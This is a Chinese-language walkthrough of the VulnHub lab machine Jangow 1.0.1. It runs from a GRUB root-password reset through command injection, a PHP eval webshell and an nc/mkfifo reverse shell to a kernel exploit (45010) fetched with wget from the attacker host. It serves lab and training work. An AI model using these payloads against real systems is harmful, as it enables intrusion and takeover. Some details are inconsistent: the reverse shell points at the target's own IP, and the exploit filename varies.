JANGOW: 1.0.1
下载地址:https://www.vulnhub.com/entry/jangow-101,754/
kali攻击机IP:192.168.147.178
靶机地址:192.168.147.184
信息收集
- 注:部分导入vmware可能会有配置问题,需要修改网卡信息,重启dhcp服务。(但是无root权限又无法修改网卡信息,借鉴网友的一种方法)
1.在系统启动时(长按shift键)直到显示以下界面。
2、enter进入到以下界面。
3、按e进入编辑,进入以下界面。删除"recovery nomodeset"并在末尾添加"quiet splash rw init=/bin/bash"。
ro/rw表示以只读(ro)/读写(rw)模式挂载根文件系统;
quiet用于设置静默模式;
splash用于设置启动时的屏幕输出;
init用于指定内核挂载根文件系统后运行的第一个用户空间程序的绝对路径(也有文章描述为设置内核执行的初始化进程名)。
4、按F10或者Ctrl+x 启动进入如下界面,输入passwd修改root密码。(也可不修改root密码,直接修改网卡信息,如果未进入以下界面,按完F10或者Ctrl+x 的记得同步按Enter)
5、此时得到root密码。
(1)修改网卡,重启dhcp服务。首先执行下列命令获得网卡信息ifconfig -a 或者 ip addr show。
(2)编辑文件: /etc/network/interfaces
sudo vim /etc/network/interfaces (将网卡信息设置为自己的网卡,重启电脑即可生效。)
6、前期准备已经结束,开始正式收集信息。
一、话不多说,先扫描同网段服务器。
arp-scan -l #得到靶机地址
nmap -sV -O 192.168.147.184 #获取服务和版本
检测到开放21和80端口,我们访问80端口试试。(如下图所示,可能是文件泄露漏洞)
点击site进入下图,发现图中About、Projects都可点击,都是界面上的元素,但是Buscar不同,仔细观察。
点击Busar之后我们看url发现可能是个传参点,尝试输入whoami,发现是命令执行传参点。
二、漏洞利用
尝试上传webshell。
echo '<?php eval($_POST["sain"]);' > sain.php
蚁剑连接,在该目录下发现config.php文件,可以获取desafio02数据库的账号密码,经测试没啥用。
在下图目录中发现.backup文件,可以获取jangow01数据库的账号密码
因为网站使用的是php语言,所以写入一个php反弹shell文件(测试该靶机仅有443端口反弹shell):
<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.147.184 443 >/tmp/f');?> #直接在本地写好,用蚁剑上传即可,我保存为test.php
kali监听443端口
nc -lvp 443
此时访问test.php文件 http://192.168.147.184/site/test.php 即可反弹shell
写入交互式shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
whami 发现当前权限是www-data,尝试提权。
uname -a 查看系统版本、lsb_release -a查看系统发行版本为Ubuntu 16.04
三、提权
- 1、攻击机为kali,靶机环境是ubuntu16.04,使用 searchsploit 看看有没有什么可利用的漏洞。
尝试利用405010.c 文件,首先find查看文件路径,可能 会出现权限不够的问题,但是此时已经是root权限,这是一个bug,输入下面两个命令就可再次使用find / -name 命令。
成功执行find命令后,找到45010.c文件路径,cp命令将其复制到 /var/www/html目录下,cd进入该目录,开启http服务。
开启服务后去靶机执行下列命令。(如果下载不下来,我是利用蚁剑上传的45010.c文件)
wget http://192.168.147.178:8000/45010.c #在靶机下载45010.c文件,传输文件
进入靶机查看文件45010.c存在
gcc 45010.c 编译文件,生成a.out文件
运行a.out文件,发现获取到root权限。
进入 /root目录,拿到flag。